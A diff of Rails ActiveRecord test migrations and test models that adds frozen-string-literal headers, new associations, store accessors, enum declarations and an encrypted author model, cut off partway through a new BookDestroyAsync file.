diff --git a/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
index 1a863367dde1d..d9fef596f50ae 100644
--- a/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
+++ b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PeopleHaveHobbies < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "hobbies", :string
diff --git a/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb
index 76734bcd7d62a..badccf65ccb39 100644
--- a/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb
+++ b/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PeopleHaveHobbies < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "hobbies", :text
diff --git a/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb b/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb
index 7f883dbb45914..1d19d5d6f406e 100644
--- a/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb
+++ b/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PeopleHaveDescriptions < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "description", :text
diff --git a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb
index 2e9f5ec6bc075..85c166b3191a9 100644
--- a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb
+++ b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CreateArticles < ActiveRecord::Migration::Current
   def self.up
   end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb
index d361847d4b291..1d213a17055f2 100644
--- a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb
+++ b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CreateComments < ActiveRecord::Migration::Current
   def self.up
   end
diff --git a/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb
index c450211d8cc75..3bedcdcdf08c7 100644
--- a/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb
+++ b/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ValidPeopleHaveLastNames < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "last_name", :string
diff --git a/activerecord/test/migrations/valid/2_we_need_reminders.rb b/activerecord/test/migrations/valid/2_we_need_reminders.rb
index d7c63ac892fc4..4647268c6e78b 100644
--- a/activerecord/test/migrations/valid/2_we_need_reminders.rb
+++ b/activerecord/test/migrations/valid/2_we_need_reminders.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class WeNeedReminders < ActiveRecord::Migration::Current
   def self.up
     create_table("reminders") do |t|
diff --git a/activerecord/test/migrations/valid/3_innocent_jointable.rb b/activerecord/test/migrations/valid/3_innocent_jointable.rb
index bd3bf21576461..8063bc0558913 100644
--- a/activerecord/test/migrations/valid/3_innocent_jointable.rb
+++ b/activerecord/test/migrations/valid/3_innocent_jointable.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class InnocentJointable < ActiveRecord::Migration::Current
   def self.up
     create_table("people_reminders", id: false) do |t|
diff --git a/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
index c450211d8cc75..3bedcdcdf08c7 100644
--- a/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
+++ b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ValidPeopleHaveLastNames < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "last_name", :string
diff --git a/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
index d7c63ac892fc4..4647268c6e78b 100644
--- a/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
+++ b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class WeNeedReminders < ActiveRecord::Migration::Current
   def self.up
     create_table("reminders") do |t|
diff --git a/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
index bd3bf21576461..8063bc0558913 100644
--- a/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
+++ b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class InnocentJointable < ActiveRecord::Migration::Current
   def self.up
     create_table("people_reminders", id: false) do |t|
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb b/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb
index 9fd27593f018a..b93884717008e 100644
--- a/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb
+++ b/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ValidWithTimestampsPeopleHaveLastNames < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "last_name", :string
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb b/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb
index 4a59921136934..94551e820869d 100644
--- a/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb
+++ b/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ValidWithTimestampsWeNeedReminders < ActiveRecord::Migration::Current
   def self.up
     create_table("reminders") do |t|
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb b/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb
index be24de6d7033e..672edc5253324 100644
--- a/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb
+++ b/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ValidWithTimestampsInnocentJointable < ActiveRecord::Migration::Current
   def self.up
     create_table("people_reminders", id: false) do |t|
diff --git a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
index 6f314c881ccff..91bfbbdfd17f9 100644
--- a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
+++ b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class MigrationVersionCheck < ActiveRecord::Migration::Current
   def self.up
     raise "incorrect migration version" unless version == 20131219224947
diff --git a/activerecord/test/models/account.rb b/activerecord/test/models/account.rb
new file mode 100644
index 0000000000000..ffc197e08b969
--- /dev/null
+++ b/activerecord/test/models/account.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+class Account < ActiveRecord::Base
+  belongs_to :firm, class_name: "Company"
+  belongs_to :unautosaved_firm, foreign_key: "firm_id", class_name: "Firm", autosave: false
+
+  alias_attribute :available_credit, :credit_limit
+
+  def self.destroyed_account_ids
+    @destroyed_account_ids ||= Hash.new { |h, k| h[k] = [] }
+  end
+
+  # Test private kernel method through collection proxy using has_many.
+  scope :open, -> { where("firm_name = ?", "37signals") }
+  scope :available, -> { open }
+
+  before_destroy do |account|
+    if account.firm
+      Account.destroyed_account_ids[account.firm.id] << account.id
+    end
+  end
+
+  validate :check_empty_credit_limit
+  validate :ensure_good_credit, on: :bank_loan
+
+  private
+    def check_empty_credit_limit
+      errors.add("credit_limit", :blank) if credit_limit.blank?
+    end
+
+    def ensure_good_credit
+      errors.add(:credit_limit, "too low") unless credit_limit > 10_000
+    end
+
+    def private_method
+      "Sir, yes sir!"
+    end
+end
+
+class SubAccount < Account
+  def self.instantiate_instance_of(klass, attributes, column_types = {}, &block)
+    klass = superclass
+    super
+  end
+  private_class_method :instantiate_instance_of
+end
diff --git a/activerecord/test/models/admin.rb b/activerecord/test/models/admin.rb
index bc3ce23447626..a40b5a33b2803 100644
--- a/activerecord/test/models/admin.rb
+++ b/activerecord/test/models/admin.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Admin
   def self.table_name_prefix
     "admin_"
diff --git a/activerecord/test/models/admin/account.rb b/activerecord/test/models/admin/account.rb
index bd23192d204cc..41fe2d782b9e6 100644
--- a/activerecord/test/models/admin/account.rb
+++ b/activerecord/test/models/admin/account.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Admin::Account < ActiveRecord::Base
   has_many :users
 end
diff --git a/activerecord/test/models/admin/randomly_named_c1.rb b/activerecord/test/models/admin/randomly_named_c1.rb
index b64ae7fc41f46..d89b8dd293da0 100644
--- a/activerecord/test/models/admin/randomly_named_c1.rb
+++ b/activerecord/test/models/admin/randomly_named_c1.rb
@@ -1,7 +1,9 @@
-class Admin::ClassNameThatDoesNotFollowCONVENTIONS1 < ActiveRecord::Base
-  self.table_name = :randomly_named_table2
-end
-
-class Admin::ClassNameThatDoesNotFollowCONVENTIONS2 < ActiveRecord::Base
-  self.table_name = :randomly_named_table3
-end
+# frozen_string_literal: true
+
+class Admin::ClassNameThatDoesNotFollowCONVENTIONS1 < ActiveRecord::Base
+  self.table_name = :randomly_named_table2
+end
+
+class Admin::ClassNameThatDoesNotFollowCONVENTIONS2 < ActiveRecord::Base
+  self.table_name = :randomly_named_table3
+end
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index a76e4b6795f57..8491f8e05fa02 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Admin::User < ActiveRecord::Base
   class Coder
     def initialize(default = {})
@@ -14,13 +16,30 @@ def load(s)
   end
 
   belongs_to :account
+
   store :params, accessors: [ :token ], coder: YAML
+
   store :settings, accessors: [ :color, :homepage ]
   store_accessor :settings, :favorite_food
-  store :preferences, accessors: [ :remember_login ]
+
+  store :parent, accessors: [:birthday, :name], prefix: true
+
+  store :spouse, accessors: [:birthday], prefix: :partner
+  store_accessor :spouse, :name, prefix: :partner
+
+  store :configs, accessors: [ :secret_question ]
+  store :configs, accessors: [ :two_factor_auth ], suffix: true
+  store_accessor :configs, :login_retry, suffix: :config
+
+  serialize :preferences, type: Hash, coder: Coder.new
+  store_accessor :preferences, :remember_login
+
   store :json_data, accessors: [ :height, :weight ], coder: Coder.new
+
   store :json_data_empty, accessors: [ :is_a_good_guy ], coder: Coder.new
 
+  store_accessor :json_options, :enable_friend_requests
+
   def phone_number
     read_store_attribute(:settings, :phone_number).gsub(/(\d{3})(\d{3})(\d{4})/, '(\1) \2-\3')
   end
diff --git a/activerecord/test/models/admin/user_json.rb b/activerecord/test/models/admin/user_json.rb
new file mode 100644
index 0000000000000..755dacf12277b
--- /dev/null
+++ b/activerecord/test/models/admin/user_json.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+class Admin::UserJSON < ActiveRecord::Base
+  class Coder
+    def initialize(default = {})
+      @default = default
+    end
+
+    def dump(o)
+      ActiveSupport::JSON.encode(o || @default)
+    end
+
+    def load(s)
+      s.present? ? ActiveSupport::JSON.decode(s) : @default.clone
+    end
+  end
+
+  belongs_to :account
+  store :params, accessors: [ :token ], coder: JSON
+  store :settings, accessors: [ :color, :homepage ], coder: Coder.new
+  store_accessor :settings, :favorite_food
+  store :parent, accessors: [:birthday, :name], prefix: true, coder: Coder.new
+  store :spouse, accessors: [:birthday], prefix: :partner, coder: Coder.new
+  store_accessor :spouse, :name, prefix: :partner
+  store :configs, accessors: [ :secret_question ], coder: Coder.new
+  store :configs, accessors: [ :two_factor_auth ], suffix: true, coder: Coder.new
+  store_accessor :configs, :login_retry, suffix: :config
+  store :preferences, accessors: [ :remember_login ], coder: Coder.new
+  store :json_data, accessors: [ :height, :weight ], coder: Coder.new
+  store :json_data_empty, accessors: [ :is_a_good_guy ], coder: Coder.new
+
+  def phone_number
+    read_store_attribute(:settings, :phone_number).gsub(/(\d{3})(\d{3})(\d{4})/, '(\1) \2-\3')
+  end
+
+  def phone_number=(value)
+    write_store_attribute(:settings, :phone_number, value && value.gsub(/[^\d]/, ""))
+  end
+
+  def color
+    super || "red"
+  end
+
+  def color=(value)
+    value = "blue" unless %w(black red green blue).include?(value)
+    super
+  end
+end
diff --git a/activerecord/test/models/aircraft.rb b/activerecord/test/models/aircraft.rb
index ebd42ff824f6f..4fdea46cf7657 100644
--- a/activerecord/test/models/aircraft.rb
+++ b/activerecord/test/models/aircraft.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Aircraft < ActiveRecord::Base
   self.pluralize_table_names = false
   has_many :engines, foreign_key: "car_id"
diff --git a/activerecord/test/models/arunit2_model.rb b/activerecord/test/models/arunit2_model.rb
index 04b8b15d3d121..5b0da8a2497c0 100644
--- a/activerecord/test/models/arunit2_model.rb
+++ b/activerecord/test/models/arunit2_model.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ARUnit2Model < ActiveRecord::Base
   self.abstract_class = true
 end
diff --git a/activerecord/test/models/attachment.rb b/activerecord/test/models/attachment.rb
new file mode 100644
index 0000000000000..2d4bc57dc565f
--- /dev/null
+++ b/activerecord/test/models/attachment.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Attachment < ActiveRecord::Base
+  belongs_to :record, polymorphic: true
+
+  has_one :translation
+end
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
index fab613afd1e49..678dcb2a60547 100644
--- a/activerecord/test/models/author.rb
+++ b/activerecord/test/models/author.rb
@@ -1,25 +1,74 @@
+# frozen_string_literal: true
+
 class Author < ActiveRecord::Base
   has_many :posts
   has_many :serialized_posts
   has_one :post
   has_many :very_special_comments, through: :posts
   has_many :posts_with_comments, -> { includes(:comments) }, class_name: "Post"
-  has_many :popular_grouped_posts, -> { includes(:comments).group("type").having("SUM(comments_count) > 1").select("type") }, class_name: "Post"
+  has_many :popular_grouped_posts, -> { includes(:comments).group("type").having("SUM(legacy_comments_count) > 1").select("type") }, class_name: "Post"
   has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order("comments.id") }, class_name: "Post"
+  has_many :posts_sorted_by_id, -> { order(:id) }, class_name: "Post"
   has_many :posts_sorted_by_id_limited, -> { order("posts.id").limit(1) }, class_name: "Post"
   has_many :posts_with_categories, -> { includes(:categories) }, class_name: "Post"
   has_many :posts_with_comments_and_categories, -> { includes(:comments, :categories).order("posts.id") }, class_name: "Post"
   has_many :posts_with_special_categorizations, class_name: "PostWithSpecialCategorization"
   has_one  :post_about_thinking, -> { where("posts.title like '%thinking%'") }, class_name: "Post"
   has_one  :post_about_thinking_with_last_comment, -> { where("posts.title like '%thinking%'").includes(:last_comment) }, class_name: "Post"
+
   has_many :comments, through: :posts do
     def ratings
       Rating.joins(:comment).merge(self)
     end
   end
+
+  has_many :comments_with_order, -> { ordered_by_post_id }, through: :posts, source: :comments
+  has_many :no_joins_comments, through: :posts, disable_joins: :true, source: :comments
+
+  has_many :comments_with_foreign_key, through: :posts, source: :comments, foreign_key: :post_id
+  has_many :no_joins_comments_with_foreign_key, through: :posts, disable_joins: :true, source: :comments, foreign_key: :post_id
+
+  has_many :members,
+    through: :comments_with_order,
+    source: :origin,
+    source_type: "Member"
+
+  has_many :no_joins_members,
+    through: :comments_with_order,
+    source: :origin,
+    source_type: "Member",
+    disable_joins: true
+
+  has_many :ordered_members,
+    -> { order(id: :desc) },
+    through: :comments_with_order,
+    source: :origin,
+    source_type: "Member"
+
+  has_many :no_joins_ordered_members,
+    -> { order(id: :desc) },
+    through: :comments_with_order,
+    source: :origin,
+    source_type: "Member",
+    disable_joins: true
+
+  has_many :ratings, through: :comments
+  has_many :good_ratings,
+    -> { where("ratings.value > 5").order(:id) },
+    through: :comments,
+    source: :ratings
+
+  has_many :no_joins_ratings, through: :no_joins_comments, disable_joins: :true, source: :ratings
+  has_many :no_joins_good_ratings,
+    -> { where("ratings.value > 5").order(:id) },
+    through: :comments,
+    source: :ratings,
+    disable_joins: true
+
   has_many :comments_containing_the_letter_e, through: :posts, source: :comments
   has_many :comments_with_order_and_conditions, -> { order("comments.body").where("comments.body like 'Thank%'") }, through: :posts, source: :comments
-  has_many :comments_with_include, -> { includes(:post) }, through: :posts, source: :comments
+  has_many :comments_with_include, -> { includes(:post).where(posts: { type: "Post" }) }, through: :posts, source: :comments
+  has_many :comments_for_first_author, -> { for_first_author }, through: :posts, source: :comments
 
   has_many :first_posts
   has_many :comments_on_first_posts, -> { order("posts.id desc, comments.id asc") }, through: :first_posts, source: :comments
@@ -31,13 +80,14 @@ def ratings
   has_many :welcome_posts, -> { where(title: "Welcome to the weblog") }, class_name: "Post"
 
   has_many :welcome_posts_with_one_comment,
-           -> { where(title: "Welcome to the weblog").where("comments_count = ?", 1) },
+           -> { where(title: "Welcome to the weblog").where(comments_count: 1) },
            class_name: "Post"
   has_many :welcome_posts_with_comments,
-           -> { where(title: "Welcome to the weblog").where(Post.arel_table[:comments_count].gt(0)) },
+           -> { where(title: "Welcome to the weblog").where("legacy_comments_count > 0") },
            class_name: "Post"
 
-  has_many :comments_desc, -> { order("comments.id DESC") }, through: :posts, source: :comments
+  has_many :comments_desc, -> { order("comments.id DESC") }, through: :posts_sorted_by_id, source: :comments
+  has_many :unordered_comments, -> { unscope(:order).distinct }, through: :posts_sorted_by_id_limited, source: :comments
   has_many :funky_comments, through: :posts, source: :comments
   has_many :ordered_uniq_comments, -> { distinct.order("comments.id") }, through: :posts, source: :comments
   has_many :ordered_uniq_comments_desc, -> { distinct.order("comments.id DESC") }, through: :posts, source: :comments
@@ -57,6 +107,7 @@ def ratings
   has_many :hello_posts, -> { where "posts.body = 'hello'" }, class_name: "Post"
   has_many :hello_post_comments, through: :hello_posts, source: :comments
   has_many :posts_with_no_comments, -> { where("comments.id" => nil).includes(:comments) }, class_name: "Post"
+  has_many :posts_with_no_comments_2, -> { left_joins(:comments).where("comments.id": nil) }, class_name: "Post"
 
   has_many :hello_posts_with_hash_conditions, -> { where(body: "hello") }, class_name: "Post"
   has_many :hello_post_comments_with_hash_conditions, through: :hello_posts_with_hash_conditions, source: :comments
@@ -66,6 +117,10 @@ def ratings
            after_add: :log_after_adding,
            before_remove: :log_before_removing,
            after_remove: :log_after_removing
+  has_many :posts_with_thrown_callbacks, class_name: "Post", before_add: :throw_abort,
+           after_add: :ensure_not_called,
+           before_remove: :throw_abort,
+           after_remove: :ensure_not_called
   has_many :posts_with_proc_callbacks, class_name: "Post",
            before_add: Proc.new { |o, r| o.post_log << "before_adding#{r.id || '<new>'}" },
            after_add: Proc.new { |o, r| o.post_log << "after_adding#{r.id || '<new>'}" },
@@ -76,7 +131,7 @@ def ratings
            after_add: [:log_after_adding,  Proc.new { |o, r| o.post_log << "after_adding_proc#{r.id || '<new>'}" }]
   has_many :unchangeable_posts, class_name: "Post", before_add: :raise_exception, after_add: :log_after_adding
 
-  has_many :categorizations
+  has_many :categorizations, -> { }
   has_many :categories, through: :categorizations
   has_many :named_categories, through: :categorizations
 
@@ -84,12 +139,18 @@ def ratings
   has_many :special_categories, through: :special_categorizations, source: :category
   has_one  :special_category,   through: :special_categorizations, source: :category
 
+  has_many :general_categorizations, -> { joins(:category).where("categories.name": "General") }, class_name: "Categorization"
+  has_many :general_posts, through: :general_categorizations, source: :post
+
+  has_many :special_categories_with_conditions, -> { where(categorizations: { special: true }) }, through: :categorizations, source: :category
+  has_many :nonspecial_categories_with_conditions, -> { where(categorizations: { special: false }) }, through: :categorizations, source: :category
+
   has_many :categories_like_general, -> { where(name: "General") }, through: :categorizations, source: :category, class_name: "Category"
 
   has_many :categorized_posts, through: :categorizations, source: :post
   has_many :unique_categorized_posts, -> { distinct }, through: :categorizations, source: :post
 
-  has_many :nothings, through: :kateggorisatons, class_name: "Category"
+  has_many :nothings, through: :kateggorizatons, class_name: "Category"
 
   has_many :author_favorites
   has_many :favorite_authors, -> { order("name") }, through: :author_favorites
@@ -97,15 +158,22 @@ def ratings
   has_many :taggings,        through: :posts, source: :taggings
   has_many :taggings_2,      through: :posts, source: :tagging
   has_many :tags,            through: :posts
+  has_many :ordered_tags,    through: :posts
   has_many :post_categories, through: :posts, source: :categories
   has_many :tagging_tags,    through: :taggings, source: :tag
 
   has_many :similar_posts, -> { distinct }, through: :tags, source: :tagged_posts
+  has_many :ordered_posts, -> { distinct }, through: :ordered_tags, source: :tagged_posts
   has_many :distinct_tags, -> { select("DISTINCT tags.*").order("tags.name") }, through: :posts, source: :tags
 
   has_many :tags_with_primary_key, through: :posts
 
   has_many :books
+  has_many :best_hardbacks, through: :books, source: :format_record, source_type: "BestHardback"
+  has_many :published_books, class_name: "PublishedBook"
+  has_many :unpublished_books, -> { where(status: [:proposed, :written]) }, class_name: "Book"
+  has_one :unread_listing, -> { unread }, class_name: "Book", foreign_key: :last_read
+  has_one :reading_listing, -> { reading }, class_name: "Book", foreign_key: :last_read
   has_many :subscriptions,        through: :books
   has_many :subscribers, -> { order("subscribers.nick") }, through: :subscriptions
   has_many :distinct_subscribers, -> { select("DISTINCT subscribers.*").order("subscribers.nick") }, through: :subscriptions, source: :subscriber
@@ -141,7 +209,13 @@ def ratings
   has_many :posts_with_default_include, class_name: "PostWithDefaultInclude"
   has_many :comments_on_posts_with_default_include, through: :posts_with_default_include, source: :comments
 
-  has_many :posts_with_signature, ->(record) { where("posts.title LIKE ?", "%by #{record.name.downcase}%") }, class_name: "Post"
+  has_many :posts_with_signature, ->(record) { where(model.arel_table[:title].matches("%by #{record.name.downcase}%")) }, class_name: "Post"
+  has_many :posts_mentioning_author, ->(record = nil) { where(model.arel_table[:body].matches("%#{record&.name&.downcase}%")) }, class_name: "Post"
+  has_many :comments_on_posts_mentioning_author, through: :posts_mentioning_author, source: :comments
+  has_many :comments_mentioning_author, ->(record) { where(model.arel_table[:body].matches("%#{record.name.downcase}%")) }, through: :posts, source: :comments
+
+  has_one :recent_post, -> { order(id: :desc) }, class_name: "Post"
+  has_one :recent_response, through: :recent_post, source: :comments
 
   has_many :posts_with_extension, -> { order(:title) }, class_name: "Post" do
     def extension_method; end
@@ -151,9 +225,30 @@ def extension_method; end
     def extension_method; end
   end
 
+  has_many :top_posts, -> { order(id: :asc) }, class_name: "Post"
+  has_many :other_top_posts, -> { order(id: :asc) }, class_name: "Post"
+
+  has_many :topics, primary_key: "name", foreign_key: "author_name"
+  has_many :topics_without_type, -> { select(:id, :title, :author_name) },
+    class_name: "Topic", primary_key: "name", foreign_key: "author_name"
+
+  has_many :lazy_readers_skimmers_or_not, through: :posts
+  has_many :lazy_readers_skimmers_or_not_2, through: :posts_with_no_comments, source: :lazy_readers_skimmers_or_not
+  has_many :lazy_readers_skimmers_or_not_3, through: :posts_with_no_comments_2, source: :lazy_readers_skimmers_or_not
+
   attr_accessor :post_log
   after_initialize :set_post_log
 
+  module NamedExtension
+    def author
+      "lifo"
+    end
+
+    def greeting
+      super + " :)"
+    end
+  end
+
   def set_post_log
     @post_log = []
   end
@@ -169,6 +264,14 @@ def social
   validates_presence_of :name
 
   private
+    def throw_abort(_)
+      throw(:abort)
+    end
+
+    def ensure_not_called(_)
+      raise
+    end
+
     def log_before_adding(object)
       @post_log << "before_adding#{object.id || '<new>'}"
     end
@@ -206,3 +309,12 @@ class AuthorFavorite < ActiveRecord::Base
   belongs_to :author
   belongs_to :favorite_author, class_name: "Author"
 end
+
+class AuthorFavoriteWithScope < ActiveRecord::Base
+  self.table_name = "author_favorites"
+
+  default_scope { order(id: :asc) }
+
+  belongs_to :author
+  belongs_to :favorite_author, class_name: "Author"
+end
diff --git a/activerecord/test/models/author_encrypted.rb b/activerecord/test/models/author_encrypted.rb
new file mode 100644
index 0000000000000..d1588504951ce
--- /dev/null
+++ b/activerecord/test/models/author_encrypted.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "models/author"
+
+class EncryptedAuthor < Author
+  self.table_name = "authors"
+
+  validates :name, uniqueness: true
+  encrypts :name, previous: { deterministic: true }
+end
+
+class EncryptedAuthorWithKey < Author
+  self.table_name = "authors"
+
+  encrypts :name, key: "some secret key!"
+end
diff --git a/activerecord/test/models/auto_id.rb b/activerecord/test/models/auto_id.rb
index 82c6544bd55a9..fd672603bb417 100644
--- a/activerecord/test/models/auto_id.rb
+++ b/activerecord/test/models/auto_id.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class AutoId < ActiveRecord::Base
   self.table_name = "auto_id_tests"
   self.primary_key = "auto_id"
diff --git a/activerecord/test/models/autoloadable/extra_firm.rb b/activerecord/test/models/autoloadable/extra_firm.rb
index 5578ba0d9b7ab..c46e34c1017c6 100644
--- a/activerecord/test/models/autoloadable/extra_firm.rb
+++ b/activerecord/test/models/autoloadable/extra_firm.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class ExtraFirm < Company
 end
diff --git a/activerecord/test/models/binary.rb b/activerecord/test/models/binary.rb
index 39b2f5090a610..b93f87519f50d 100644
--- a/activerecord/test/models/binary.rb
+++ b/activerecord/test/models/binary.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class Binary < ActiveRecord::Base
 end
diff --git a/activerecord/test/models/bird.rb b/activerecord/test/models/bird.rb
index 24b839135d040..cb9497e49b49b 100644
--- a/activerecord/test/models/bird.rb
+++ b/activerecord/test/models/bird.rb
@@ -1,12 +1,24 @@
+# frozen_string_literal: true
+
 class Bird < ActiveRecord::Base
   belongs_to :pirate
   validates_presence_of :name
 
   accepts_nested_attributes_for :pirate
 
+  before_save do
+    # force materialize_transactions
+    self.class.lease_connection.materialize_transactions
+  end
+
   attr_accessor :cancel_save_from_callback
   before_save :cancel_save_callback_method, if: :cancel_save_from_callback
   def cancel_save_callback_method
     throw(:abort)
   end
+
+  attr_accessor :total_count, :enable_count
+  after_initialize do
+    self.total_count = Bird.count if enable_count
+  end
 end
diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb
index 17bf3fbcb487a..f6133c4ff6e64 100644
--- a/activerecord/test/models/book.rb
+++ b/activerecord/test/models/book.rb
@@ -1,24 +1,41 @@
+# frozen_string_literal: true
+
 class Book < ActiveRecord::Base
-  has_many :authors
+  belongs_to :author
+  belongs_to :format_record, polymorphic: true
 
-  has_many :citations, foreign_key: "book1_id"
+  has_many :citations, inverse_of: :book
   has_many :references, -> { distinct }, through: :citations, source: :reference_of
 
   has_many :subscriptions
   has_many :subscribers, through: :subscriptions
 
-  enum status: [:proposed, :written, :published]
-  enum read_status: { unread: 0, reading: 2, read: 3 }
-  enum nullable_status: [:single, :married]
-  enum language: [:english, :spanish, :french], _prefix: :in
-  enum author_visibility: [:visible, :invisible], _prefix: true
-  enum illustrator_visibility: [:visible, :invisible], _prefix: true
-  enum font_size: [:small, :medium, :large], _prefix: :with, _suffix: true
-  enum difficulty: [:easy, :medium, :hard], _suffix: :to_read
-  enum cover: { hard: "hard", soft: "soft" }
+  has_one :essay
+
+  alias_attribute :title, :name
+
+  enum :status, [:proposed, :written, :published]
+  enum :last_read, { unread: 0, reading: 2, read: 3, forgotten: nil }
+  enum :nullable_status, [:single, :married]
+  enum :language, [:english, :spanish, :french], prefix: :in
+  enum :author_visibility, [:visible, :invisible], prefix: true
+  enum :illustrator_visibility, [:visible, :invisible], prefix: true
+  enum :font_size, [:small, :medium, :large], prefix: :with, suffix: true
+  enum :difficulty, [:easy, :medium, :hard], suffix: :to_read
+  enum :cover, { hard: "hard", soft: "soft" }
+  enum :boolean_status, { enabled: true, disabled: false }
+  enum :symbol_status, { proposed: :proposed, published: :published }, prefix: true
 
   def published!
     super
     "do publish work..."
   end
 end
+
+class PublishedBook < ActiveRecord::Base
+  self.table_name = "books"
+
+  enum :cover, { hard: "0", soft: "1" }, default: :hard
+
+  validates_uniqueness_of :isbn
+end
diff --git a/activerecord/test/models/book_destroy_async.rb b/activerecord/test/models/book_destroy_async.rb
new file mode 100644
index 0000000000000..69e9d32f3a4be
--- /dev/null
+++ b/activerecord/test/models/book_destroy_async.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class BookDestroyAsync < ActiveRecord::Base
